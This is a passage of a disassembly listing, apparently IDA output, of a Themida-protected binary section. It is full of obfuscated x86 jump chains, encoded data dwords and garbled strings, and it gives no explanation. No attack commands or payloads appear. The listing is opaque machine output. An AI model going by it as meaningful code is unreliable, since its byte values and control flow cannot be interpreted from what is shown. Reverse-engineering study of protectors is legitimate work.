0F680C7E6h dd 5D0CE948h, 0E9510000h, 0FFFFC9F5h ; --------------------------------------------------------------------------- loc_55F424: ; CODE XREF: Themida_:0055B7F9j mov ecx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp push esp jmp loc_561607 ; --------------------------------------------------------------------------- dd 0FF30782Dh, 6C952D68h, 3C8B4261h, 0DA9AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F45E: ; CODE XREF: Themida_:00552592j add ebp, edx pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] and eax, edx push dword ptr [esp] pop edx jmp loc_558390 ; --------------------------------------------------------------------------- loc_55F478: ; CODE XREF: Themida_:0055FE81j pop ecx add ecx, 9BCC1C7Ah add eax, ecx pop ecx xor eax, 0DE94438Ah sub esp, 4 mov [esp], eax add dword ptr [esp], 30014147h push dword ptr [esp] pop ebp add esp, 4 sub ebp, 30014147h jmp loc_55803C ; --------------------------------------------------------------------------- aIus db '┴ЦИ',9,9,0 db 0 ; --------------------------------------------------------------------------- loc_55F4AD: ; CODE XREF: Themida_:00558F84j add eax, ebp sub eax, 0C1541BCh jmp loc_55753D ; --------------------------------------------------------------------------- loc_55F4B9: ; CODE XREF: Themida_:0055FC71j mov ecx, 6D7C4C48h not ecx add ecx, 1 push edx mov edx, 900002A6h sub ecx, edx mov edx, [esp] push edi jmp loc_557049 ; --------------------------------------------------------------------------- dd 0E905CA80h, 4DB8h dword_55F4DC dd 2B60F66h, 1C6DE9h, 39BA5200h, 812FB74Ah, 92690FCAh ; DATA XREF: Themida_:00551270o dd 81D2F70Ch, 606018CAh, 0F2814A56h, 0EE45E0D3h, 0C26CCEBEh dd 5AD62983h, 3DCAC681h, 20E979BAh db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F513: ; CODE XREF: Themida_:0056013Aj sub edi, 1DEA0EA8h add edi, ebp add edi, 1DEA0EA8h jmp loc_5581BE ; --------------------------------------------------------------------------- dw 0E6C1h dd 24C68105h, 1547DFEh, 0FF505EF0h, 58042474h, 0FF24E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F53D: ; CODE XREF: Themida_:0055AEC3j xor edi, eax xor eax, edi push edi jmp loc_565271 ; --------------------------------------------------------------------------- db 29h dd 89525DEEh, 0C5DE9F2h, 248B0000h, 4216624h, 8CE99C24h db 1Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F55F: ; CODE XREF: Themida_:00555EF7j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_565147 ; --------------------------------------------------------------------------- aWhQ db 'WhяQ',0 dw 8900h dd 98E92414h, 5000000Eh, 3FCEB951h, 87E96E80h, 0FF000018h dd 8B042474h, 0C483240Ch, 24048F04h, 2424D35Ch, 0FF1F3AE9h dd 2C8152FFh, 5B534A24h, 0C5815D3Ah, 3A5B534Ah, 5DE9015Ah dd 40C5E9h, 23B200h, 0EA285AD5h, 8EAC059h, 0B050DAF6h dd 0C3EA808Eh, 80D2EA80h, 0C228CAC2h, 0FF798BE9h, 58C301FFh dd 5E9E68h, 241C8900h, 42474FFh, 24048F5Bh, 0FF8D72E9h dd 0B60F66FFh, 58756800h, 1C890000h, 81E38924h, 4ECh, 240C8900h dd 339EE9h db 0 byte_55F61D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00551468o dd 4EC8324h, 0FFEED2E9h db 0FFh byte_55F629 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00551268o aQisszr db '$Q┴АИ╖R',0 dd 0C1DAF700h, 0E2C103EAh, 0CFCA8105h, 8163534Ch, 2CB015C2h dd 5AD00100h, 5C240487h, 588768h, 24048900h, 6824048Bh dd 1002h, 54241489h, 0FFA797E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F669: ; CODE XREF: Themida_:0055F2CAj mov edi, 3C0B0A10h jmp loc_559722 ; --------------------------------------------------------------------------- db 33h dd 0BDE92434h, 8100001Eh, 433831EBh, 5BD8299Fh, 0FFE501E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F689: ; CODE XREF: Themida_:0055D11Ej mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_553D52 ; --------------------------------------------------------------------------- loc_55F6A6: ; CODE XREF: Themida_:00561DBFj mov esp, [esp] jmp loc_56392A ; --------------------------------------------------------------------------- word_55F6AE dw 4A68h ; DATA XREF: Themida_:00551298o dd 6800007Fh, 6E04h, 0C58E9h, 2DBD6800h, 815965C6h, 0E76191C1h dd 0ABF18111h, 0E91375ADh, 0FFFF2965h, 4BDh, 0E9EA2900h dd 0FFFF6A41h, 26DDC581h, 0F58174C1h, 5F77389h, 0E957D5F7h dd 50F4h, 0E9E08950h, 0FFFF383Dh dword_55F6FC dd 240C8B66h, 0E6F68h, 240C8900h, 0BE56E189h, 1EB37CA4h ; DATA XREF: Themida_:005514A0o dd 3990E681h, 0EEC11F35h, 81DEF702h, 312922CEh, 2FBB5316h dd 81515855h, 4418AFC3h, 8EEB816Dh, 81003C39h, 0A44926F3h dd 5BDE21F8h, 395EEE81h, 0F1014640h, 5724348Bh, 0C781E789h dd 4, 4C781h, 39E90000h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F75B: ; CODE XREF: Themida_:00556554j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_55831B ; --------------------------------------------------------------------------- dd 459C800h, 2CD800B6h, 862EE9B6h, 1433FFFFh, 0C895C24h dd 0E390E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F78A: ; CODE XREF: Themida_:00559876j mov ebx, 799C1BC9h sub ecx, ebx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx pop dword ptr [edx+30h] mov ecx, [esp] push edx push 56B3h mov [esp], esp jmp loc_560C45 ; --------------------------------------------------------------------------- db 89h, 0EFh, 0E9h dd 0FFFF85B4h ; --------------------------------------------------------------------------- loc_55F7B8: ; CODE XREF: Themida_:0056192Aj pop esp jmp loc_552F66 ; --------------------------------------------------------------------------- a1S_0 db '\1цS╩,',0 db 2 dup(0), 68h dd 41C8h, 0B9240C89h, 1CDE3AC4h, 159CB29h, 0B85055FBh dd 6643AAEh, 0F24C22BDh, 58C53109h, 0FFFEF3E9h, 5BF800FFh dd 68D8005Bh, 789Fh, 0B6241489h, 0F6CEFEB3h, 1FB050D6h dd 51E9A824h, 0F7FFFFD8h, 4EC83F9h, 89241489h, 4EC83E2h dd 55241C89h, 56269C68h, 0F5815D15h, 7CEF6AE4h, 7D4EC581h dd 0ED812C50h, 9609C9C2h, 515DEB89h, 18468FB9h, 57EA815Bh dd 5124DF60h, 0FFE304E9h, 0BCE94AFFh, 0C1FFFF52h, 0E38104E3h dd 40007A4Ch, 0FF8E1AE9h, 4EC81FFh, 89000000h, 0EC81243Ch dd 4, 0BB241C89h, 6DE046B0h, 0FF49FEE9h, 7EE951FFh, 0B8000022h dd 1, 0DEE9C129h, 54FFFFD7h, 4C7815Fh, 83000000h, 3C8704EFh dd 8F545C24h, 8FE92404h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F8A3: ; CODE XREF: Themida_:005563A6j push 95Bh mov [esp], esi push edx push esp jmp loc_55B6EF ; --------------------------------------------------------------------------- loc_55F8B2: ; CODE XREF: Themida_:00555D03j push 2C15h mov [esp], ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55200C ; --------------------------------------------------------------------------- db 89h dd 0E389241Ch, 4EC81h, 83E90000h, 8900005Eh, 0E0892404h dd 3257BA52h, 0E94261EEh, 0FFFF563Dh ; --------------------------------------------------------------------------- loc_55F8F8: ; CODE XREF: Themida_:0055E4CDj mov esi, 4 jmp loc_56669D ; --------------------------------------------------------------------------- dw 0C583h dd 242C3304h, 0FF81EAE9h, 0A4B850FFh, 0C1732B25h, 0F4E905E8h dd 0B9FFFF9Ch, 14326FC6h, 3995BB53h, 0B5E95D94h, 8100003Ch dd 1EDEF3h, 24048B70h, 0E904C483h, 0FFFF1BAFh, 0E1F6815Eh dd 8B330D53h, 0C483240Ch, 8E6C104h, 0F4EE814Eh, 0E997C528h dd 268Bh ; --------------------------------------------------------------------------- loc_55F958: ; CODE XREF: Themida_:0055A365j push 2B66h mov [esp], edi push edx jmp loc_5647AF ; --------------------------------------------------------------------------- dw 0B951h dd 4, 77E4C581h, 0E9571597h, 39E5h, 4BDh, 5DE80100h, 0FFB248E9h dd 0E28952FFh, 4C281h, 0C2810000h, 4, 5C241487h, 0FF6FB7E9h dd 244401FFh, 815D5804h, 4C5h, 4C58100h, 87000000h, 0E95C242Ch dd 0FFFFF5CDh, 3D59BD55h, 0D5F75129h, 0E5814545h, 5BB76D4Bh dd 6F9CE9h db 0 aM0Sg_ db '╛0ьИG_',0 ; DATA XREF: Themida_:00551490o dd 57EE8000h, 39C868h, 241C8900h, 0FF6DB1E9h, 0C48359FFh dd 24048F04h, 0E924248Bh, 0FFFFAB4Ch, 70F568h, 240C8900h dd 3353E954h db 2 dup(0) word_55FA02 dw 8B66h ; DATA XREF: Themida_:005512FCo dd 43682404h, 8900001Fh, 0E954243Ch, 0FFFF2C6Dh, 8B240C87h dd 0F662424h, 9C2404ABh, 5591E9h, 68575E00h, 265C2792h dd 19CF815Fh, 811D873Eh, 0DE6D56CFh, 10EF8113h, 0E937C3C7h dd 720Dh ; --------------------------------------------------------------------------- loc_55FA44: ; CODE XREF: Themida_:00553707j push 1B02h mov [esp], edi push eax push ecx mov ecx, 64B6514Dh mov eax, ecx pop ecx jmp loc_5563E2 ; --------------------------------------------------------------------------- loc_55FA5B: ; CODE XREF: Themida_:00563703j push 0E16h mov [esp], edi mov edi, 166202F4h jmp loc_55CBAC ; --------------------------------------------------------------------------- db 0B1h, 55h, 52h dd 0D088CA88h, 0FFE67CE9h, 240C8BFFh, 418A6853h, 24890000h dd 24048124h, 4, 0D0B9515Bh, 410AFC15h, 6607E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA9A: ; CODE XREF: Themida_:00565354j xchg edi, [esp] pop esp jmp loc_556F66 ; --------------------------------------------------------------------------- db 89h dd 34BF243Ch, 0C1577C32h, 564704EFh, 910A40BEh, 5EF70129h dd 8102EFC1h, 0C23355EFh, 8DC3810Bh, 16A9A36h, 8DEB81FBh dd 5F6A9A36h, 4EC81h, 3C890000h, 4BF24h, 0FB290000h, 721AE9h dd 4C38100h, 81000000h, 4EBh, 241C8700h, 242C895Ch, 35DEE9h db 0 ; --------------------------------------------------------------------------- loc_55FAFD: ; CODE XREF: Themida_:0056129Bj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp jmp loc_55EDBB ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0C4815824h, 4, 0FF3674E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FB25: ; CODE XREF: Themida_:005641B6j xor ebp, ecx xor ecx, ebp jmp loc_561AA2 ; --------------------------------------------------------------------------- loc_55FB2E: ; CODE XREF: Themida_:005616C9j mov ebp, [esp] jmp loc_55EEB8 ; --------------------------------------------------------------------------- dw 0B850h dd 0C293E6Ah, 5EE9C129h, 81FFFF54h, 2027A7F1h, 26B95175h dd 159BF21h, 6D2D59C8h, 1697214h, 6DB951C8h, 0E9697214h dd 0FFFF7CCBh, 23CBBB53h, 86E964BCh, 59FFFFEDh, 0D9F7CB87h dd 0FAE9CB87h, 500006Eh, 4, 5C240487h, 0FF2434FFh, 83582434h dd 5FE904ECh db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB93: ; CODE XREF: Themida_:005614C2j push dword ptr [esp+4] push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebp mov ebp, esp push ecx mov ecx, 109F3C8Fh not ecx dec ecx jmp loc_561338 ; --------------------------------------------------------------------------- loc_55FBB1: ; CODE XREF: Themida_:0055E29Fj neg eax or eax, 43C445ABh jmp loc_5622D6 ; --------------------------------------------------------------------------- db 59h, 88h, 3Ch dd 2434FF87h, 83241C8Bh, 0E26804C4h, 8900004Eh, 0E0892404h dd 405h, 0E9575300h, 5218h, 24148B66h, 2C481h, 0B5510000h dd 80D5F6BBh, 0ED8021C5h, 5DED80EDh, 2853ED80h, 70459E8h dd 86E9362Ch db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FC07: ; CODE XREF: Themida_:00554C8Dj push ebx mov ebx, 0A22EDE90h mov eax, ebx mov ebx, [esp] jmp loc_558F61 ; --------------------------------------------------------------------------- db 0FFh dd 59042474h, 5C24048Fh, 0E9E18951h, 0FFFF8DE1h, 5E2434FFh dd 4C481h, 43E90000h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FC37: ; CODE XREF: Themida_:00559CA4j or esi, 30A1581Ch sub esi, 7FFD5DBAh sub eax, 6755321Eh sub eax, esi add eax, 6755321Eh pop esi push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], ebx mov ebx, 2F9949A7h xor edx, ebx mov ebx, [esp] add esp, 4 shr edx, 5 push ecx jmp loc_55F4B9 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FFCB45E9h, 0E28952FFh, 4BF57h, 0FA010000h, 0FF36E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FC91: ; CODE XREF: Themida_:0055F20Aj mov [esp], ebp push eax push 798A7A86h jmp loc_564C6E ; --------------------------------------------------------------------------- loc_55FC9F: ; CODE XREF: Themida_:00555431j add edi, 4 add edi, 4 jmp loc_552202 ; --------------------------------------------------------------------------- dd 8E292F05h, 57C80170h, 0CC274FBFh, 0D7F74F6Eh, 8EFC14Fh dd 0EF81D7F7h, 8EE0A2F8h, 26E9F829h, 0BFFFFF45h, 46836679h dd 0FF4B77E9h, 28F368FFh, 14890000h, 5CD76824h, 4890000h dd 4EC8124h, 89000000h, 0D4B82404h, 0C10B3B3Ch, 3F6806E0h dd 89000043h, 0B951243Ch, 61AF1D08h, 0D9F7D9F7h, 8904EC83h dd 14F7240Ch, 240C8B24h, 8104C483h, 5C04A4E1h, 5FE95042h dd 0BA00002Ah, 71547EA7h, 8106EAC1h, 542092EAh, 1623E9F9h dd 65BA0000h, 0C15FAF7Ah, 6804EAh, 52000000h, 906A47BAh dd 2444817Bh, 6227B304h, 2454012Eh, 0A7B4E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FD62: ; CODE XREF: Themida_:00564DCEj mov edx, [esp] add esp, 4 jmp loc_557778 ; --------------------------------------------------------------------------- loc_55FD6D: ; CODE XREF: Themida_:0056262Dj sub ebp, 4 xchg ebp, [esp] jmp loc_558026 ; --------------------------------------------------------------------------- loc_55FD78: ; CODE XREF: Themida_:005552ECj pop ebx jmp loc_5570E3 ; --------------------------------------------------------------------------- dw 0EB81h dd 55074D12h, 515BD801h, 0C181E189h, 4, 8704E983h, 895C240Ch dd 0BDE92434h db 47h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FD9F: ; CODE XREF: Themida_:0055ECAFj mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp push 4BEAh mov [esp], ecx jmp loc_55AF2D ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4BE56h, 1EE90000h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FDC7: ; CODE XREF: Themida_:005519E3j push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp and eax, esi push dword ptr [esp] pop esi add esp, 4 or edx, eax shl edx, 1 jmp loc_55C242 ; --------------------------------------------------------------------------- loc_55FE01: ; CODE XREF: Themida_:00560EA1j push ebp mov ebp, 0F557ECAh jmp loc_5576C7 ; --------------------------------------------------------------------------- loc_55FE0C: ; CODE XREF: Themida_:00559849j mov edi, ebp pop ebp jmp loc_562D86 ; --------------------------------------------------------------------------- dd 0FFC18058h, 667DC980h, 0C0BFE953h, 1489FFFFh, 0E9E28924h dd 1495h, 815AD129h, 336D0EC3h, 84E9E92Fh, 815BFFFFh, 4C3h dd 2924E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE46: ; CODE XREF: Themida_:00559517j pop esp mov [esp], ebp push edx push 16F5h mov [esp], ebx jmp loc_560096 ; --------------------------------------------------------------------------- dd 8101EF83h, 0D845F9EFh, 0B2B85050h, 0E964746Fh, 0FFFF5B7Eh ; --------------------------------------------------------------------------- loc_55FE6C: ; CODE XREF: Themida_:005667CFj mov ecx, ebx pop ebx sub ecx, 37AB6F11h not ecx add ecx, 20472BBh push ecx not dword ptr [esp] jmp loc_55F478 ; --------------------------------------------------------------------------- loc_55FE86: ; CODE XREF: Themida_:00559A67j add eax, 26052EBDh sub esp, 4 mov [esp], ebp mov ebp, 6F3B60B9h jmp loc_564CAC ; --------------------------------------------------------------------------- db 83h dd 3C8704EFh, 0F7E95C24h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FEA7: ; CODE XREF: Themida_:0055C125j mov esp, [esp] mov [esp], ebp push esp mov ebp, [esp] jmp loc_559E4D ; --------------------------------------------------------------------------- dw 752Dh dd 89E33E96h, 519EE9C2h, 3C89FFFFh, 3695BF24h, 0EF813169h dd 184107ABh, 0FF22A6E9h, 2B2EBAFFh, 0EA811394h, 1, 157EF281h dd 0E9516447h, 0FFFFEE80h, 33241C31h, 71E9241Ch, 5E000041h dd 4FA6BD55h, 6C010A3Dh, 5B5D0824h, 68240401h, 4CEFh, 0BD242C89h dd 2B68183Bh, 0FF6730E9h, 27272DFFh, 9EE90D3Eh db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF23: ; CODE XREF: Themida_:00566169j mov esi, 11372025h mov edi, 75ED44E5h xor edi, esi pop esi inc edi xor edi, 3B6D6126h add edi, 50DD59BCh xor edi, 0B0945FA7h add ebp, edi pop edi sub esp, 4 mov [esp], ecx mov ecx, 7F8B3BE7h add ecx, 6CFB6321h shl ecx, 3 push 3C0Bh mov [esp], ebx jmp loc_56673C ; --------------------------------------------------------------------------- db 50h dd 0FF27B8B8h, 1ACC0506h, 0C189FF40h, 0E9C80158h, 0FFFFE148h ; --------------------------------------------------------------------------- loc_55FF7C: ; CODE XREF: Themida_:0056617Bj xor edi, 3001C90h jmp loc_557C5B ; --------------------------------------------------------------------------- db 83h dd 5F042404h, 7C4ABA52h, 0F2817DABh, 0CB12201h, 0FF35CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FF9D: ; CODE XREF: Themida_:00555C6Bj mov edx, edi pop edi jmp loc_554D89 ; --------------------------------------------------------------------------- align 2 dw 66C3h dd 8324048Bh, 0EB8002C4h, 80C3288Ah, 0C2688AC3h, 89000026h dd 0E9502414h, 0FFFFE06Ah, 86E9D829h, 66FFFF30h, 13D5F281h dd 5EAC166h, 66DAF766h, 6CBE6656h, 0F22966CCh, 6864E9h db 0 ; --------------------------------------------------------------------------- loc_55FFE5: ; CODE XREF: Themida_:00563CFCj sub esi, 79425BE9h add esi, 2E36FAE0h mov ecx, esi jmp loc_55C028 ; --------------------------------------------------------------------------- aQTbZ7qrSeq db '╨цQиt│ЙZ7qRяЙИEQ',0 align 2 dw 0EB81h dd 1AFB1D0h, 1C8BD889h, 476BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56001A: ; CODE XREF: Themida_:0055EED4j and eax, esi jmp loc_55929C ; --------------------------------------------------------------------------- loc_560021: ; CODE XREF: Themida_:00564CC9j push 7FDCh mov [esp], ecx push 5BAD3C20h mov ecx, [esp] add esp, 4 xor [esp+4], ecx jmp loc_560A17 ; --------------------------------------------------------------------------- dd 4C48158h, 52000000h, 3565BE56h, 0F2891798h, 8324348Bh dd 81E904C4h, 5000000Fh, 0C230FB8h, 3E0C15Bh, 3047BF57h dd 0E7C13CDCh, 0E2E78108h, 0C10DDA62h, 0EFC102EFh, 0E2C78108h dd 0E946FC01h, 3Ch, 94E9F029h, 81FFFF67h, 4C4h, 0F1AAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560096: ; CODE XREF: Themida_:0055FE53j pop edx mov ebp, edx push dword ptr [esp] pop edx add esp, 4 push edx mov edx, ebp jmp loc_55559A ; --------------------------------------------------------------------------- aQ0vnus_ db 'Q╧0vNuИ╨.',0 align 2 loc_5600B6: ; CODE XREF: Themida_:005581ACj mov [esp], eax mov eax, ebp jmp loc_557739 ; --------------------------------------------------------------------------- dd 0EEE9F801h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5600C7: ; CODE XREF: Themida_:00551B97j push edx mov edx, esp jmp loc_5605CA ; --------------------------------------------------------------------------- loc_5600CF: ; CODE XREF: Themida_:0055565Ej push eax push dword ptr [esp] pop ecx jmp loc_556718 ; --------------------------------------------------------------------------- db 68h, 0B4h, 9 dd 0A6E90000h, 51FFFF9Ah, 42474FFh, 0E9240C8Bh, 0FFFF212Dh ; --------------------------------------------------------------------------- loc_5600F0: ; CODE XREF: Themida_:0055509Fj push ecx mov ecx, 62FC4BF7h jmp loc_566B49 ; --------------------------------------------------------------------------- db 47h dd 0DEBE5647h, 31ECAC4Dh, 0C1815EF7h, 2F147694h, 0BF57F901h dd 5A4F7637h, 0F5DBD55h, 0E94535DAh, 0FFFFC6CBh, 148BD328h dd 4C48324h, 6804EBC0h, 638h, 0FF2BE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_560135: ; CODE XREF: Themida_:00555DB6j mov ebp, 7F236DC9h jmp loc_55F513 ; --------------------------------------------------------------------------- db 0BDh dd 2B8C38D3h, 38D7F581h, 0E9892B8Ch, 536DE95Dh, 0EDBA0000h dd 815ED77Dh, 34484EF2h, 0E2814A4Ah, 6F0A29E4h, 506ACA81h dd 0EA8119DDh, 1DDF71E6h, 0FF235AE9h, 5631BAFFh, 0CA81556Dh dd 686B36BFh, 6690CA81h, 10E905D1h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56018B: ; CODE XREF: Themida_:0055C27Fj mov esi, 300B5A43h push 692Eh mov [esp], ebx push ebp jmp loc_5530DD ; --------------------------------------------------------------------------- dw 0EEC1h dd 56EE8106h, 8961EE46h, 3CE95EF1h, 53FFFF91h, 0DD89D389h dd 4EE95A5Bh, 8800002Fh, 5966CCh, 48B66E6h, 2C48324h, 3D5768h dd 24048900h, 0CCFEDAB4h, 86DDB353h, 86D0F6C3h, 6866C3h dd 241C2800h, 83241C8Ah, 0DBF602C4h, 3075B151h, 240C8BCBh dd 8004C483h, 0DC08F2F3h, 67EFE95Bh, 0EB81FFFFh, 74B4BA29h dd 95BDA29h, 8AE95AD6h, 31FFFF1Dh, 2C33242Ch, 257BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56021E: ; CODE XREF: Themida_:0055375Bj push 55532348h pop ebp sub ebp, 55532344h add eax, 361C5BB0h add eax, ebp sub eax, 361C5BB0h pop ebp xchg eax, [esp] jmp loc_564810 ; --------------------------------------------------------------------------- db 5Eh dd 0FF3B69E9h db 0FFh ; --------------------------------------------------------------------------- loc_560245: ; CODE XREF: Themida_:0055570Bj pop ebx mov ecx, esi mov esi, [esp] push esi mov esi, esp add esi, 4 jmp loc_55F274 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 0ED810000h, 234C14EEh, 0C581F501h, 234C14EEh dd 8324348Bh, 0ED8304C4h, 74FF5504h, 8F5D0424h, 5BE92404h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560287: ; CODE XREF: Themida_:0056415Bj mov ecx, 78CE4135h jmp loc_562D6B ; --------------------------------------------------------------------------- loc_560291: ; CODE XREF: Themida_:005559E5j mov eax, [esp] push edi jmp loc_563EC5 ; --------------------------------------------------------------------------- loc_56029A: ; CODE XREF: Themida_:00566865j pop esi jmp loc_557E57 ; --------------------------------------------------------------------------- dd 1C41BF57h, 0E7810839h, 594E6B55h, 1A24EF81h, 94E90A75h dd 52FFFFA2h, 0BE56E289h, 4, 0FFB0A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5602C5: ; CODE XREF: Themida_:005560FDj pop esi jmp loc_5518C0 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4BD5500h, 29000000h, 34335DEEh, 24343124h, 0FF35AAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5602E5: ; CODE XREF: Themida_:00558C21j add ebp, esi jmp loc_552DB8 ; --------------------------------------------------------------------------- dd 2424305Ch, 0E9242432h, 0FFFF3299h ; --------------------------------------------------------------------------- loc_5602F8: ; CODE XREF: Themida_:0055CE0Cj push dword ptr [esp+4] push dword ptr [esp] pop ecx jmp loc_551859 ; --------------------------------------------------------------------------- loc_560305: ; CODE XREF: Themida_:00563CF1j mov ch, 0E4h xor ch, 0DFh and dl, ch pop ecx push ecx mov cl, 0E3h jmp loc_56569A ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 5024048Fh, 0CC66853h, 515B14A3h, 74F06853h dd 815B0F66h, 54536AF3h, 5BD98959h, 6859CB01h, 2984h, 52243C89h dd 0C281E289h, 4, 3304EA83h, 14312414h, 0F424E924h, 0BFB1FFFFh dd 6DE9C800h, 81FFFFD1h, 4C4h, 117DE900h, 5559FFFFh, 0D899E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560376: ; CODE XREF: Themida_:00566CD6j mov [esp], ebx not dword ptr [esp] mov ebx, [esp] jmp loc_55E9D8 ; --------------------------------------------------------------------------- loc_560384: ; CODE XREF: Themida_:005605B4j pop esi push ecx push esi mov esi, 30891E76h add esi, 73690750h neg esi jmp loc_555436 ; --------------------------------------------------------------------------- loc_560399: ; CODE XREF: Themida_:0055E13Aj pop ebp sub ebx, edx push dword ptr [esp] pop edx add esp, 4 push 9FEh mov [esp], ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_565A6B ; --------------------------------------------------------------------------- dd offset dword_4F9044+224h dw 8900h dd 48B242Ch, 4C48124h, 89000000h, 4C60E9C3h, 0F281FFFFh dd 5FDC0141h, 0A8B8504Ah, 564DF4Eh, 10241464h, 0A05A3E05h dd 0EE94015h, 8B00000Ch, 0F662424h, 9C2404BBh, 0FF10E2E9h dd 0DBBF57FFh, 2929BA0Bh, 243C8BFAh, 4C481h, 0EA810000h dd 4F192E22h, 0D1E9FA01h, 68FFFF85h, 14164D8Dh, 89BB535Ah dd 2914164Dh, 53505BDAh, 0D889D389h, 29EE685Bh, 0BFE90000h dd 5FFFFFA3h, 55FF829h, 554E7580h, 6855C829h, 574C218Dh dd 0C4E9535Dh db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56045F: ; CODE XREF: Themida_:0055D5A1j add eax, edi pop edi push esi mov esi, 3EBF67E1h jmp loc_551D0F ; --------------------------------------------------------------------------- db 0BAh, 0C0h, 41h dd 0EAD14678h, 2C3B850h, 0C2094D83h, 7F28158h, 0E91BDB68h dd 650Ch, 80EAEC80h, 0E60052EEh, 0FFCE8BE9h, 8EBC0FFh dd 8005E3C0h, 0D80050EBh, 5554E9h db 0 ; --------------------------------------------------------------------------- loc_5604A5: ; CODE XREF: Themida_:0056233Fj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], ebx jmp loc_56409B ; --------------------------------------------------------------------------- db 89h dd 0E389241Ch, 4C381h, 0EB830000h, 241C8704h, 0E526E95Ch dd 0E95DFFFFh, 0FFFF5437h, 4C481h, 2C330000h, 0FD29E924h dd 0F75BFFFFh, 7E8C1D8h, 42683125h, 0BE564804h, 71EA1399h dd 0FF2678E9h, 0E9815AFFh, 37002F7Ah, 31AFE981h, 0CE013793h dd 7BE94659h, 0FFFF1Ah, 0F8F6E9C1h, 8F5AFFFFh, 248B2404h dd 24148924h, 0FF0FBEE9h db 0FFh byte_56052D db 66h, 68h, 0F0h ; DATA XREF: Themida_:00551344o dd 6BB66802h, 3C890000h, 53E78924h, 4BBh, 0E9DF0100h, 0FFFFC10Ah ; --------------------------------------------------------------------------- loc_560548: ; CODE XREF: Themida_:00554815j push 488Eh jmp loc_55255C ; --------------------------------------------------------------------------- dw 0EB81h dd 4, 5C241C87h, 89240489h, 0BA5251E0h, 65FF15E3h, 0C244F5B9h dd 0E9D129D5h, 0FFFFE7DEh, 504C483h, 10405230h, 302DD829h dd 0FF104052h, 815B2434h, 4C4h, 5CBC2D00h, 0D8296C58h dd 0BDFBB53h, 0F381198Bh, 75D35763h, 1C8BD801h, 4C48324h dd 2C87E9h db 0 ; --------------------------------------------------------------------------- loc_5605AD: ; CODE XREF: Themida_:00564437j add eax, esi add eax, 2C80158h jmp loc_560384 ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 29000000h, 1C8758C3h, 18FCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5605CA: ; CODE XREF: Themida_:005600CAj push edi push ebx mov ebx, 7CAD73C9h mov edi, 3F473C18h xor edi, ebx mov ebx, [esp] add esp, 4 not edi add edi, 43EA4FD6h add edx, edi pop edi jmp loc_55C8ED ; --------------------------------------------------------------------------- loc_5605F1: ; CODE XREF: Themida_:00551F50j xor [esp], esi xor esi, [esp] jmp loc_565ABA ; --------------------------------------------------------------------------- dd 8059CB28h, 0D8E924C3h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560607: ; CODE XREF: 